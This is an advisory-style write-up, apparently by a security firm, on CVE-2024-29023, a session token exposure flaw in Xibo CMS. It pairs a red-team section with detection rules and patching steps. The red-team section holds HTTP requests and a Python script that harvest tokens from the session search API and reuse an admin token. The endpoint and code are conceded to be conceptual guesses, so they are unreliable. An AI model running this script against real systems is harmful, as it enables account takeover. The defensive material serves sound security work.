CVE-2024-29023

Executive Summary

CVE-2024-29023 is a session token exposure vulnerability in Xibo, an open-source Digital Signage platform. The vulnerability allows an authenticated attacker with access to the session page (or a super admin) to retrieve session tokens via the session search API. These tokens can then be used to hijack active user sessions, leading to unauthorized access and potential privilege escalation. The CVSS score is 7.2 (High), indicating significant impact on confidentiality, integrity, and availability. The vulnerability affects Xibo CMS versions prior to 3.3.10 and 4.0.9. Patches are available for these versions, as well as for older, unsupported versions (2.3 and 1.8). There are no known workarounds.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have access to the session page or be a super admin.
• User Interaction (UI): None (N) – No user action is needed for exploitation.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Session tokens are exposed.
• Integrity (I): High (H) – Session hijacking can lead to data modification.
• Availability (A): High (H) – Session hijacking can lead to denial of service.

Threat Level: High. The vulnerability allows session hijacking, which can lead to full account takeover and lateral movement within the CMS.

Deep Dive & Mechanics

The vulnerability resides in the session search API endpoint of Xibo CMS. When a user with sufficient privileges (access to the session page or super admin) performs a search for active sessions, the API returns session tokens in the response. These tokens are typically used to authenticate and maintain user sessions. By intercepting or observing the API response, an attacker can extract these tokens and use them to impersonate the legitimate user.

Root Cause: The session search API does not properly sanitize or redact sensitive session token data from the response. This is a classic case of information disclosure (CWE-200).

Attack Flow:

1. Attacker gains access to a user account with privileges to view the session page (or is a super admin).
2. Attacker sends a request to the session search API endpoint.
3. The API returns a list of active sessions, including their session tokens.
4. Attacker extracts a session token for a target user (e.g., an admin).
5. Attacker uses the stolen token to impersonate the target user, gaining their privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable endpoint likely returns the full session object, including the token, without filtering.

// Vulnerable: Returns all session data including token
function searchSessions($criteria) {
    $sessions = $this->sessionService->search($criteria);
    return $this->response->json($sessions);
}

Patched Code (Conceptual): The patched version removes the session token from the response or masks it.

// Patched: Removes token from response
function searchSessions($criteria) {
    $sessions = $this->sessionService->search($criteria);
    foreach ($sessions as &$session) {
        unset($session['token']); // Remove token
    }
    return $this->response->json($sessions);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Xibo CMS instance with a user account that has "View Sessions" permission or is a super admin.
• Knowledge of the session search API endpoint (e.g., /api/session/search).

Exploitation Steps:

1. Authenticate to the Xibo CMS as a privileged user.
2. Send a GET request to the session search API endpoint:

   GET /api/session/search HTTP/1.1
   Host: target-xibo-cms.com
   Cookie: PHPSESSID=your_session_id
   

3. The response will contain a list of sessions, each with a token field:

   {
     "data": [
       {
         "sessionId": "abc123",
         "userId": 1,
         "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
         "expires": "2024-12-31T23:59:59Z"
       }
     ]
   }
   

4. Extract the token for a target user (e.g., admin user with userId 1).
5. Use the token to impersonate the user:

   GET /api/admin/dashboard HTTP/1.1
   Host: target-xibo-cms.com
   Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
   

Automation Script (Python):

import requests

target = "https://target-xibo-cms.com"
session = requests.Session()

# Authenticate
login_data = {"username": "attacker", "password": "password"}
session.post(f"{target}/login", data=login_data)

# Fetch sessions
response = session.get(f"{target}/api/session/search")
sessions = response.json().get("data", [])

# Extract and use admin token
for s in sessions:
    if s["userId"] == 1:  # Admin user
        admin_token = s["token"]
        headers = {"Authorization": f"Bearer {admin_token}"}
        admin_response = requests.get(f"{target}/api/admin/dashboard", headers=headers)
        print(admin_response.text)
        break

Blue Team (Detection & Response)

Detection Steps:

1. Monitor API logs for unusual access to the session search endpoint (/api/session/search) by non-admin users.
2. Alert on multiple session token extractions in a short time frame.
3. Monitor for session token reuse from different IP addresses or user agents.

Response Steps:

1. Immediately revoke all active sessions for affected users.
2. Force password reset for all users who had sessions exposed.
3. Review access logs to identify the attacker's IP and actions.
4. Apply the patch or upgrade to a fixed version.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/session/search with unusual frequency.
  • HTTP responses containing session tokens in JSON format.
  • Multiple Authorization: Bearer headers with the same token from different IPs.

• Host IOCs:

  • Unauthorized access to session management pages.
  • Unexpected session creation or modification in database logs.

• Log IOCs:

  • GET /api/session/search requests from non-admin users.
  • 401 Unauthorized followed by 200 OK for the same token from different IPs.

Detection Engineering

YARA Rule

rule CVE_2024_29023_Session_Token_Exposure {
    meta:
        description = "Detects session token exposure in Xibo CMS API responses"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-29023"
    strings:
        $token_field = "\"token\":" ascii
        $session_search = "/api/session/search" ascii
    condition:
        $token_field and $session_search
}

Sigma Rule

title: Xibo CMS Session Token Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to the session search API endpoint which may expose session tokens
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/session/search'
    condition: selection
falsepositives:
    - Legitimate admin users accessing the session page
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-29023 Xibo CMS Session Token Exposure";
    flow:to_server;
    content:"GET";
    http_method;
    content:"/api/session/search";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Xibo CMS to version 3.3.10 or 4.0.9.
2. If using an older version (2.3 or 1.8), apply the provided patches:
   • For 2.3: ebeccd000b51f00b9a25f56a2f252d6812ebf850.diff
   • For 1.8: a81044e6ccdd92cc967e34c125bd8162432e51bc.diff
3. Revoke all active sessions and force password resets for all users.

Long-term Mitigations:

• Implement strict access controls to the session management page.
• Use short-lived session tokens and rotate them frequently.
• Monitor API logs for suspicious activity.
• Conduct regular security audits and penetration testing.

Workarounds:

• None available. The only solution is to apply the patch or upgrade.

Valters IT